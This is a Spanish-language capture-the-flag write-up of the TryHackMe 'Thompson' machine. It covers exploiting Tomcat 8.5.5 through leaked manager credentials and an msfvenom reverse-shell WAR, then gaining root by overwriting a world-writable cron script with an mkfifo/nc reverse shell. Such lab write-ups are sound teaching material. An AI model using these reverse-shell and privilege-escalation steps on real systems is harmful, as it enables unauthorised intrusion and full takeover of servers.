Thompson – TryHackMe Write-up

Thompson – TryHackMe Write-up

Hoy vamos a resolver la máquina “Thompson” de TryHackMe, en esta nos encontramos un servicio web corriendo tomcat, donde deberemos subir una shell reversa y luego aprovechar un trabajo de cron para escalar privilegios.

Dificultad asignada por THM: Fácil

La ip de la máquina en mi caso será: 10.10.236.8

Esta sala se divide en las siguientes fases:

Enumeración

Empecemos por la más básico, hacer un escaneo con nmap, para ello usaremos el comando:

nmap -sC -sV – <IP>

Al hacerlo, me llama la atención que hay un servicio web en el puerto 8080 y uno ssh en el 22, esto al ser un ctf puede dar la impresión de que, debemos obtener credenciales de alguna manera en el servicio web y usarlas para acceder por ssh, pero quién sabe. Bueno, vamos a inspeccionar un poco el servicio web, que es un tomcat aparentemente:

Confirmamos que es un Tomcat, es importante fijarnos que la versión del tomcat que es la 8.5.5, esto nos ayudará a poder encontrar un vector de ataque para esta versión, bueno inspeccionemos la página, probemos hacer una búsqueda de directorios con gobuster, para ello usa el siguiente comando:

gobuster dir –url http://<IP_DE_LA_MÁQUINA>:8080/ –wordlist <WORDLIST>

Podemos ver que hay un directorio que llama la atención llamado /manager, probemos a entrar:

Nos pide logearnos, pero no tenemos credenciales, pero si damos a “Cancel” saldrá algo interesante:

Nos redirige a una página de error 401 donde están las credenciales de acceso a la administración del tomcat.

Explotación

Sabiendo esto, volvemos a hacer lo anterior solo que esta vez ponemos estas credenciales o simplemente en la página de inicio de tomcat puedes darle click a “Manage App” e inicia sesión con dichas credenciales:

Y estamos dentro:

Normalmente tomcat permite subir archivos .WAR que es la extensión de un archivo que empaqueta una jerarquía de directorios de aplicaciones web en formato ZIP y es la abreviatura de Web Archive. Pero podemos aprovecharnos de esto para poder subir un WAR malicioso que nos devuelva una shell, aquí hay muchas formas de hacerlo, pero usaré msfvenom para crear el WAR, para ello ve a tu terminal y escribe el comando:

msfvenom -p java/shell_reverse_tcp lhost=<IP> lport=<puerto> -f war -o shell.war

Recuerda sustituir <IP> por la ip de la interfaz conectada a la VPN de THM, normalmente esta se llama “tun0”. Bien, al ejecutarlo se te creará un archivo llamado pwn.war:

Ahora súbelo al tomcat:

Notarás que se ha creado una nueva ruta, ahí es donde hay que darle click para obtener la shell:

Ahora, hay que poner el puerto, en mi caso el “4321” a la escucha, que es el puerto que pusimos en el WAR malicioso (debe ser el mismo, si pusiste el 65534 pues pones ese) para ello usa el comando, en tu máquina atacante:

nc -lvnp <puerto>

Teniendo el puerto a la escucha, ahora si eres libre de darle click a la nueva ruta, al hacerlo deberás tener una shell:

Estamos logeados como el usuario tomcat, veamos que hay en el directorio /home:

Tenemos un usuario, Jack, veamos que hay en su directorio:

Bueno tenemos ya la flag de user.txt:

Escalación de privilegios

Ahora bien, debemos escalar privilegios, y si te fijas en el directorio de jack, podrás ver que hay dos archivos a parte de la flag, el “id.sh” un ejecutable y, el “test.txt, aunque si nos fijamos bien, el ejecutable tiene todos los permisos para tanto el propietario, el grupo y los otros, por ende, podemos modificarlo:

Si leemos el contenido de “id.sh” veremos que es un script muy sencillo que cuando se ejecuta imprime en el fichero “test.txt” la salida del comando “id”:

Suponiendo que ya se haya ejecutado antes este script, veamos que hay en el fichero test.txt:

Es interesante porque nos devuelve la salida del comando id como el usuario root, entonces, este script se ejecuta con permisos del usuario root, ¿a lo mejor por cron?, lo que se me viene a la mente es, ya que podemos modificar el script, eliminar lo que tiene ahora y poner en su lugar una shell reversa, para ello usa el siguiente comando:

 echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc “<IP>” 1234 >/tmp/f”  > /home/jack/id.sh

Esto nos permitirá escribir lo que esta entre comillas dentro del fichero “id.sh”, hazlo y hazle un cat al fichero para comprobar, recuerda modificar la ip en el comando:

Luego, investigando un poco más, si lees el fichero /etc/crontab podrás ver que hay una tarea programada para que se ejecute el fichero de “id.sh” como root:

Ahí podemos ver los comandos que se ejecutan y que lo primero que hace es moverse al directorio /home/jack y una vez ahí ejecuta el fichero “id.sh”, en este caso ya que lo tenemos modificado con nuestra shell ahora falta poner a la escucha el puerto “1234”, para ello:

nc -lvnp <puerto>

En este punto solo queda esperar que la tarea de cron se ejecute y tendremos nuestra shell como root:

Ya solo queda leer la flag de root.txt:

Y listo.

 

PD: También puedes optar por usar otras alternativas a msfvenom para generar una shell (el WAR malicioso), por ejemplo, esta, aunque existen muchas formas más, investiga y suerte.

Opinión personal:

  • Dificultad de acceso: 7% 7%
  • Dificultad de escalación de privilegios: 7% 7%

He hecho esta puntuación basándome en estos valores propios:

Fácil1% – 30%

Medio: 31% – 70%

Difícil: 71% – 100%

Anuncio

Sobre el Autor

Martin Frias

Founder of Coldd Security

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Información adicional sobre protección de datos:
Responsable: Martin Frias.
Finalidad: Moderar los comentarios de este sitio web.
Cesión: NO se cederán a nadie, salvo obligación legal.
Derechos: Acceso, rectificación, cancelación y borrado de tus datos.
Legitimación: Tu consentido expreso.

REDES SOCIALES

Newsletter

Estadísticas

  • 163.166
  • 55

TheHackerSnow

0

Share This